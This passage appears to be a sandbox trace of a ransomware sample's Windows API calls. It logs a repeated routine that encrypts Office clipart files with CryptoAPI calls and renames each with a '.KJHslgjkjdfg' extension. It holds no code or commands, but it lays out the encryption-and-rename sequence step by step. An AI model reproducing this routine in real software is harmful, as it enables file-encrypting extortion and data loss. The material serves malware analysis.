liDistanceToMove=0x34f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.817] SetEndOfFile (hFile=0x114) returned 1 [0173.820] GetProcessHeap () returned 0x2a0000 [0173.820] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.820] GetProcessHeap () returned 0x2a0000 [0173.820] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.kjhslgjkjdfg")) returned 1 [0173.821] CloseHandle (hObject=0x114) returned 1 [0173.821] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0173.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.823] GetProcessHeap () returned 0x2a0000 [0173.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.823] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.823] GetProcessHeap () returned 0x2a0000 [0173.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.823] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.825] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.826] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.826] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.826] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.826] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.826] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a00, lpOverlapped=0x0) returned 1 [0173.827] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a00) returned 1 [0173.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.827] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a00, lpOverlapped=0x0) returned 1 [0173.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.828] SetEndOfFile (hFile=0x114) returned 1 [0173.830] GetProcessHeap () returned 0x2a0000 [0173.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.830] GetProcessHeap () returned 0x2a0000 [0173.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.kjhslgjkjdfg")) returned 1 [0173.832] CloseHandle (hObject=0x114) returned 1 [0173.832] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0173.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.833] GetProcessHeap () returned 0x2a0000 [0173.833] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.833] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.833] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.835] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.835] GetProcessHeap () returned 0x2a0000 [0173.835] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.835] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.835] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.835] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.835] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.835] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.835] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.836] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.836] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.836] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.836] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x610c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x610c, lpOverlapped=0x0) returned 1 [0173.837] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6110, dwBufLen=0x6110 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6110) returned 1 [0173.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.838] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6110, lpOverlapped=0x0) returned 1 [0173.838] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x61e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.838] SetEndOfFile (hFile=0x114) returned 1 [0173.840] GetProcessHeap () returned 0x2a0000 [0173.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.840] GetProcessHeap () returned 0x2a0000 [0173.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.kjhslgjkjdfg")) returned 1 [0173.842] CloseHandle (hObject=0x114) returned 1 [0173.842] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0173.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.844] GetProcessHeap () returned 0x2a0000 [0173.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.844] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.846] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.846] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.846] GetProcessHeap () returned 0x2a0000 [0173.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.846] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.846] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.846] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.846] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.847] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.847] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.847] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.847] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.847] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.847] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3734, lpOverlapped=0x0) returned 1 [0173.848] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3740, dwBufLen=0x3740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3740) returned 1 [0173.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.848] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3740, lpOverlapped=0x0) returned 1 [0173.849] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.849] SetEndOfFile (hFile=0x114) returned 1 [0173.851] GetProcessHeap () returned 0x2a0000 [0173.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.851] GetProcessHeap () returned 0x2a0000 [0173.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.kjhslgjkjdfg")) returned 1 [0173.853] CloseHandle (hObject=0x114) returned 1 [0173.853] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0173.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.854] GetProcessHeap () returned 0x2a0000 [0173.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.854] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.854] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.856] GetProcessHeap () returned 0x2a0000 [0173.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.857] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.857] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x406c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x406c, lpOverlapped=0x0) returned 1 [0173.858] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4070, dwBufLen=0x4070 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4070) returned 1 [0173.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.859] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4070, lpOverlapped=0x0) returned 1 [0173.859] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.859] SetEndOfFile (hFile=0x114) returned 1 [0173.862] GetProcessHeap () returned 0x2a0000 [0173.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.862] GetProcessHeap () returned 0x2a0000 [0173.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.kjhslgjkjdfg")) returned 1 [0173.863] CloseHandle (hObject=0x114) returned 1 [0173.863] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0173.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 